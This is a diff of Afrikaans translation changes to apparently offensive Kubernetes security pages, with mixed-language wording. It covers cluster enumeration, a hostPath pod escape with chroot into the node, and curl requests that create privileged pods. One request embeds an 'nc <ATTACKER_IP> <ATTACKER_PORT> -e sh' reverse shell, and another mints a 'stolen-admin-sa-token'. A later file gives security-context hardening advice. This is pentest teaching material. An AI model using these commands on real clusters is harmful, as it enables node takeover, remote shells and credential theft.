-Die ontplooiings spesifiseer die **komponente** wat nodig is om te **loop**.
+Deployments spesifiseer die gewenste toestand vir stateless application workloads. Hulle skep ReplicaSets, en daardie ReplicaSets skep Pods.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -302,14 +317,33 @@ k get deployments -n custnamespace
 
 {{#tab name="API" }}
 ```bash
-kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
+kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
+```
+{{#endtab }}
+{{#endtabs }}
+
+### Kry StatefulSets
+
+StatefulSets bestuur Pods wat stabiele name, geordende rollout-gedrag, en dikwels per-replika persistent volumes nodig het.
+
+{{#tabs }}
+{{#tab name="kubectl" }}
+```bash
+k get statefulsets
+k get statefulsets -n custnamespace
+```
+{{#endtab }}
+
+{{#tab name="API" }}
+```bash
+kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
 ```
 {{#endtab }}
 {{#endtabs }}
 
 ### Kry Pods
 
-Die Pods is die werklike **houers** wat sal **loop**.
+Die Pods is die werklike **containers** wat sal **run**.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -328,7 +362,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
 
 ### Kry Dienste
 
-Kubernetes **dienste** word gebruik om 'n **diens op 'n spesifieke poort en IP bloot te stel** (wat as 'n laaibalans vir die pods wat werklik die diens bied, sal optree). Dit is interessant om te weet waar jy ander dienste kan vind om te probeer aanval. 
+Kubernetes **services** word gebruik om **’n diens op ’n spesifieke poort en IP bloot te stel** (wat as load balancer sal optree vir die pods wat eintlik die diens aanbied). Dit is nuttig om te weet waar jy ander services kan vind om te probeer aanval.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -340,14 +374,14 @@ k get services -n custnamespace
 
 {{#tab name="API" }}
 ```bash
-kurl -v https://$APISERVER/api/v1/namespaces/default/services/
+kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
 ```
 {{#endtab }}
 {{#endtabs }}
 
-### Kry knope
+### Kry nodes
 
-Kry al die **knope wat binne die kluster geconfigureer is**.
+Kry al die **nodes gekonfigureer inside die cluster**.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -365,7 +399,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
 
 ### Verkry DaemonSets
 
-**DaeamonSets** maak dit moontlik om te verseker dat 'n **spesifieke pod in al die nodes** van die kluster (of in die geselekteerde) loop. As jy die DaemonSet verwyder, sal die pods wat deur dit bestuur word ook verwyder word.
+**DaemonSets** verseker dat 'n **spesifieke Pod op al die geselekteerde nodes** van die cluster loop. As jy die DaemonSet uitvee, sal die Pods wat daardeur bestuur word ook verwyder word.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -376,32 +410,52 @@ k get daemonsets
 
 {{#tab name="API" }}
 ```bash
-kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
+kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
 ```
 {{#endtab }}
 {{#endtabs }}
 
-### Kry cronjob
+### Kry Jobs
 
-Cron jobs laat jou toe om die bekendstelling van 'n pod wat 'n aksie sal uitvoer, te skeduleer met behulp van crontab soos sintaksis.
+Jobs skep Pods wat loop tot voltooiing. Hulle word algemeen gebruik vir migrasies, backups, batch work, en eenmalige administratiewe take.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
 ```bash
-k get cronjobs
+k get jobs
+k get jobs -n custnamespace
 ```
 {{#endtab }}
 
 {{#tab name="API" }}
 ```bash
-kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
+kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
+```
+{{#endtab }}
+{{#endtabs }}
+
+### Kry CronJobs
+
+CronJobs gebruik ’n crontab-agtige skedule om Jobs te skep wat Pods vir taakstyl-uitvoering lanseer.
+
+{{#tabs }}
+{{#tab name="kubectl" }}
+```bash
+k get cronjobs
+k get cronjobs -n custnamespace
+```
+{{#endtab }}
+
+{{#tab name="API" }}
+```bash
+kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
 ```
 {{#endtab }}
 {{#endtabs }}
 
 ### Kry configMap
 
-configMap bevat altyd 'n baie inligting en konfigurasie lêer wat aan toepassings verskaf word wat in die kubernetes loop. Gewoonlik kan jy 'n baie wagwoorde, geheime, tokens vind wat gebruik word om te verbind en te valideer met ander interne/eksterne dienste.
+configMap bevat altyd baie inligting en configfile wat aan apps voorsien wat in die kubernetes loop. Gewoonlik kan jy baie password, secrets, tokens vind wat gebruik word om te koppel en te valideer aan ander interne/eksterne service.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -417,10 +471,10 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
 {{#endtab }}
 {{#endtabs }}
 
-### Kry Netwerkbeleide / Cilium Netwerkbeleide
+### Kry Netwerk Beleide / Cilium Netwerk Beleide
 
 {{#tabs }}
-{{#tab name="Eerste Tab" }}
+{{#tab name="First Tab" }}
 ```bash
 k get networkpolicies
 k get CiliumNetworkPolicies
@@ -429,7 +483,7 @@ k get CiliumClusterwideNetworkPolicies
 {{#endtab }}
 {{#endtabs }}
 
-### Kry Alles / Al
+### Kry Alles / Alles
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -439,7 +493,7 @@ k get all
 {{#endtab }}
 {{#endtabs }}
 
-### **Kry alle hulpbronne bestuur deur helm**
+### **Kry alle resources wat deur helm bestuur word**
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -449,7 +503,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
 {{#endtab }}
 {{#endtabs }}
 
-### **Kry Pods verbruik**
+### **Kry Pods-verbruik**
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -459,23 +513,23 @@ k top pod --all-namespaces
 {{#endtab }}
 {{#endtabs }}
 
-## Interaksie met die kluster sonder om kubectl te gebruik
+## Interacting with the cluster without using kubectl
 
-Aangesien die Kubernetes-beheervlak 'n REST-volle API blootstel, kan jy handgemaakte HTTP-versoeke saamstel en dit met ander gereedskap soos **curl** of **wget** stuur.
+Aangesien Kubernetes control plane ’n REST-ful API blootstel, kan jy handgemaakte HTTP requests skep en dit met ander tools stuur, soos **curl** of **wget**.
 
-### Ontsnapping uit die pod
+### Escaping from the pod
 
-As jy in staat is om nuwe pods te skep, mag jy in staat wees om uit hulle te ontsnap na die node. Om dit te doen, moet jy 'n nuwe pod skep met 'n yaml-lêer, oor te skakel na die geskepte pod en dan chroot in die node se stelsel. Jy kan reeds bestaande pods as verwysing vir die yaml-lêer gebruik, aangesien hulle bestaande beelde en paaie vertoon.
+As jy nuwe pods kan skep, kan jy dalk van hulle af na die node escape. Om dit te doen moet jy ’n nuwe pod skep met ’n yaml file, oorskakel na die geskepte pod en dan chroot in die node se system. Jy kan reeds bestaande pods as verwysing vir die yaml file gebruik, aangesien hulle bestaande images en pathes vertoon.
 ```bash
 kubectl get pod <name> [-n <namespace>] -o yaml
 ```
-> as jy 'n pod op die spesifieke node moet skep, kan jy die volgende opdrag gebruik om etikette op die node te kry
+> as jy 'n pod op die spesifieke node moet skep, kan jy die volgende command gebruik om labels op die node te kry
 >
 > `k get nodes --show-labels`
 >
-> Gewoonlik is kubernetes.io/hostname en node-role.kubernetes.io/master albei goeie etikette om te kies.
+> Gewoonlik is kubernetes.io/hostname en node-role.kubernetes.io/master albei goeie label om te select.
 
-Dan skep jy jou attack.yaml-lêer
+Dan skep jy jou attack.yaml file
 ```yaml
 apiVersion: v1
 kind: Pod
@@ -505,21 +559,23 @@ restartPolicy: Never
 # or using
 #  node-role.kubernetes.io/master: ""
 ```
+[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
+
 Na dit skep jy die pod
 ```bash
 kubectl apply -f attacker.yaml [-n <namespace>]
 ```
-Nou kan jy na die geskepte pod oorgaan soos volg
+Nou kan jy soos volg oorskakel na die geskepte pod:
 ```bash
 kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
 ```
-En uiteindelik chroot jy in die node se stelsel in
+En uiteindelik chroot jy in die node se stelsel
 ```bash
 chroot /root /bin/bash
 ```
-Inligting verkry uit: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
+Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
 
-### Skep 'n bevoorregte pod
+### Skep 'n privileged pod
 
 Die ooreenstemmende yaml-lêer is soos volg:
 ```yaml
@@ -565,9 +621,9 @@ curl --path-as-is -i -s -k -X $'POST' \
 --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
 "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
 ```
-### Verwyder 'n pod
+### Delete a pod
 
-Verwyder 'n pod met curl:
+Delete 'n pod met curl:
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""
@@ -584,7 +640,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
 --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
 "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
 ```
-### Skep 'n Diensrekening
+### Skep 'n Service Account
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""
@@ -602,7 +658,7 @@ curl --path-as-is -i -s -k -X $'POST' \
 --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
 "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
 ```
-### Verwyder 'n Diensrekening
+### Vee 'n Service Account uit
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""
@@ -637,7 +693,7 @@ curl --path-as-is -i -s -k -X $'POST' \
 --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
 "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
 ```
-### Verwyder 'n Rol
+### Skrap ’n Role
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""
@@ -655,7 +711,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
 --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
 "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
 ```
-### Skep 'n Rol Bindings
+### Skep 'n Role Binding
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""
@@ -672,7 +728,7 @@ curl --path-as-is -i -s -k -X $'POST' \
 --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
 "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
 ```
-### Verwyder 'n Rolbinding
+### Vee 'n Role Binding uit
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""
@@ -690,7 +746,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
 --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
 "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
 ```
-### Verwyder 'n Geheim
+### Delete a Secret
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""
@@ -707,7 +763,7 @@ curl --path-as-is -i -s -k -X $'POST' \
 --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
 "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
 ```
-### Verwyder 'n Geheim
+### Verwyder 'n Secret
 ```bash
 CONTROL_PLANE_HOST=""
 TOKEN=""

src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md

@@ -4,60 +4,81 @@
 
 ## PodSecurityContext <a href="#podsecuritycontext-v1-core" id="podsecuritycontext-v1-core"></a>
 
-[**Uit die dokumentasie:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
+[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
 
-Wanneer jy die sekuriteitskonteks van 'n Pod spesifiseer, kan jy verskeie eienskappe gebruik. Vanuit 'n defensiewe sekuriteits oogpunt moet jy oorweeg:
+Wanneer jy die security context van 'n Pod spesifiseer, kan jy verskeie eienskappe gebruik. Vanuit 'n defensive security-oogpunt behoort jy die volgende te oorweeg:
 
-- Om **runASNonRoot** as **Waar** te hê
+- Om **runASNonRoot** as **True** te hê
 - Om **runAsUser** te konfigureer
-- Indien moontlik, oorweeg om **toestemmings** te **beperk** deur **seLinuxOptions** en **seccompProfile** aan te dui
-- Moet **NIE** **privilege** **groep** toegang gee via **runAsGroup** en **supplementaryGroups**
+- Indien moontlik, oorweeg om **permissions** te **limiting** deur **seLinuxOptions** en **seccompProfile** aan te dui
+- Gee **MOENIE** **privilege** **group** access via **runAsGroup** en **supplementaryGroups** nie
 
-| Parameter                                                                                                                                                                                                                                                                                                                                                                                                                                  | Beskrywing                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                                                                                 | <p>‘n Spesiale aanvullende groep wat op <strong>alle houers in 'n pod</strong> van toepassing is. Sommige volume tipe laat die Kubelet toe om die <strong>eienaarskap van daardie volume</strong> te verander sodat dit aan die pod behoort:<br>1. Die eienaam GID sal die FSGroup wees<br>2. Die setgid-bietjie is ingestel (nuwe lêers wat in die volume geskep word, sal deur FSGroup besit word)<br>3. Die toestemmingsbietjies word OR'd met rw-rw---- As nie ingestel nie, sal die Kubelet nie die eienaarskap en toestemmings van enige volume verander</p> |
+| Parameter                                                                                                                                                                                                                                                                                                                                                                                                                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                                                                                 | <p>'n Spesiale aanvullende groep wat op <strong>all containers in a pod</strong> van toepassing is. Sommige volume tipes laat die Kubelet toe om die <strong>ownership of that volume</strong> te verander sodat dit deur die pod besit word:<br>1. The owning GID will be the FSGroup<br>2. The setgid bit is set (new files created in the volume will be owned by FSGroup)<br>3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume</p> |
 
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p>                                                                                                                                                                                                                                      | Dit definieer die gedrag van **eienaarskap en toestemming van die volume** verander voordat dit binne die Pod blootgestel word.                                                                                                                                                                                                                                                                                                                                                                         |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                                                                              | Die **GID om die ingangspunt van die houer proses** te laat loop. Gebruik runtime standaard as dit nie ingestel is nie.                                                                                                                                                                                                                                                                                                                                                        |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p>                                                                                                                                                                                                                                            | Dui aan dat die houer as 'n nie-root gebruiker moet loop. As waar, sal die Kubelet die beeld tydens uitvoering valideer om te verseker dat dit nie as UID 0 (root) loop nie en sal dit misluk om die houer te begin as dit wel doen.                                                                                                                                                                                                                                                                          |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p>                                                                                                                                                                                                                                               | Die **UID om die ingangspunt van die houer proses** te laat loop. Standaard na die gebruiker gespesifiseer in beeld metadata as dit nie gespesifiseer is nie.                                                                                                                                                                                                                                                                                                                                                              |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Meer inligting oor</em> <em><strong>seLinux</strong></em></p>                                                           | Die **SELinux konteks wat op alle houers toegepas moet word**. As nie gespesifiseer nie, sal die houer runtime 'n ewekansige SELinux konteks vir elke houer toewys.                                                                                                                                                                                                                                                                                                                             |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Meer inligting oor</em> <em><strong>Seccomp</strong></em></p>                                                           | Die **seccomp opsies wat deur die houers** in hierdie pod gebruik moet word.                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p>                                                                                                                                                                                                                                | 'n Lys van **groepe wat op die eerste proses toegepas word wat in elke houer loop**, benewens die houer se primêre GID.                                                                                                                                                                                                                                                                                                                                                                  |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Meer inligting oor</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls hou 'n lys van **namespaced sysctls wat vir die pod gebruik word**. Pods met nie-ondersteunde sysctls (deur die houer runtime) mag misluk om te begin.                                                                                                                                                                                                                                                                                                                                        |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p>                                                                                           | Die Windows spesifieke instellings wat op alle houers toegepas word. As nie gespesifiseer nie, sal die opsies binne 'n houer se SecurityContext gebruik word.                                                                                                                                                                                                                                                                                                                                               |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p>                                                                                                                                                                                                                                      | This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod.                                                                                                                                                                                                                                                                                                                                                                         |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                                                                              | The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext.                                                                                                                                                                                                                                                                                                                                                        |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p>                                                                                                                                                                                                                                            | Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does.                                                                                                                                                                                                                                                                          |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p>                                                                                                                                                                                                                                               | The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified.                                                                                                                                                                                                                                                                                                                                                              |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p>                                                           | The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container.                                                                                                                                                                                                                                                                                                                             |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p>                                                           | The **seccomp options to use by the containers** in this pod.                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p>                                                                                                                                                                                                                                | A list of **groups applied to the first process run in each container**, in addition to the container's primary GID.                                                                                                                                                                                                                                                                                                                                                                  |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch.                                                                                                                                                                                                                                                                                                                                        |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p>                                                                                           | The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used.                                                                                                                                                                                                                                                                                                                                               |
 
 ## SecurityContext
 
-[**Uit die dokumentasie:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
+[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
 
-Hierdie konteks word binne die **houer definisies** ingestel. Vanuit 'n defensiewe sekuriteits oogpunt moet jy oorweeg:
+This context is set inside the **containers definitions**. From a defensive security point of view you should consider:
 
-- **allowPrivilegeEscalation** as **Valse**
-- Moet nie sensitiewe **vermoëns** byvoeg nie (en verwyder die wat jy nie nodig het nie)
-- **privileged** as **Valse**
-- Indien moontlik, stel **readOnlyFilesystem** as **Waar**
-- Stel **runAsNonRoot** op **Waar** en stel 'n **runAsUser** in
-- Indien moontlik, oorweeg om **toestemmings** te **beperk** deur **seLinuxOptions** en **seccompProfile** aan te dui
-- Moet **NIE** **privilege** **groep** toegang gee via **runAsGroup.**
+- **allowPrivilegeEscalation** to **False**
+- Do not add sensitive **capabilities** (and remove the ones you don't need)
+- **privileged** to **False**
+- If possible, set **readOnlyFilesystem** as **True**
+- Set **runAsNonRoot** to **True** and set a **runAsUser**
+- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
+- Do **NOT** give **privilege** **group** access via **runAsGroup.**
 
-Let daarop dat die eienskappe wat in **both SecurityContext and PodSecurityContext** ingestel is, die waarde wat in **SecurityContext** gespesifiseer is, **prioriteit** het.
+Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**.
 
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p>                                                                                                                                                                      | **AllowPrivilegeEscalation** beheer of 'n proses **meer bevoegdhede kan verkry** as sy ouer proses. Hierdie bool beheer direk of die no_new_privs-vlag op die houer proses ingestel sal word. AllowPrivilegeEscalation is altyd waar wanneer die houer as **Privileged** gedraai word of **CAP_SYS_ADMIN** het |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p>                                                                                                                                                                      | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no_new_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP_SYS_ADMIN** |
 | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Meer inligting oor</em> <em><strong>Capabilities</strong></em></p>  | Die **vermoëns om by te voeg/verwyder wanneer houers loop**. Standaard na die standaard stel van vermoëns.                                                                                                                                                                                                                |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p>                                                                                                                                                                                    | Loop houer in bevoorregte modus. Prosesse in bevoorregte houers is in wese **gelyk aan root op die gasheer**. Standaard is vals.                                                                                                                                                                           |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p>                                                                                                                                                                                      | procMount dui die **tipe proc mount aan wat vir die houers gebruik moet word**. Die standaard is DefaultProcMount wat die houer runtime standaarde vir leesbare paaie en gemaskeerde paaie gebruik.                                                                                                                                |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p>                                                                                                                                                                        | Of hierdie **houer 'n leesbare wortel lêerstelsel het**. Standaard is vals.                                                                                                                                                                                                                                         |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                    | Die **GID om die ingangspunt** van die houer proses te laat loop. Gebruik runtime standaard as dit nie ingestel is nie.                                                                                                                                                                                                                            |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p>                                                                                                                                                                                  | Dui aan dat die houer moet **loop as 'n nie-root gebruiker**. As waar, sal die Kubelet die beeld tydens uitvoering valideer om te verseker dat dit nie as UID 0 (root) loop nie en sal dit misluk om die houer te begin as dit wel doen.                                                                                                      |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p>                                                                                                                                                                                     | Die **UID om die ingangspunt** van die houer proses te laat loop. Standaard na die gebruiker gespesifiseer in beeld metadata as dit nie gespesifiseer is nie.                                                                                                                                                                                              |
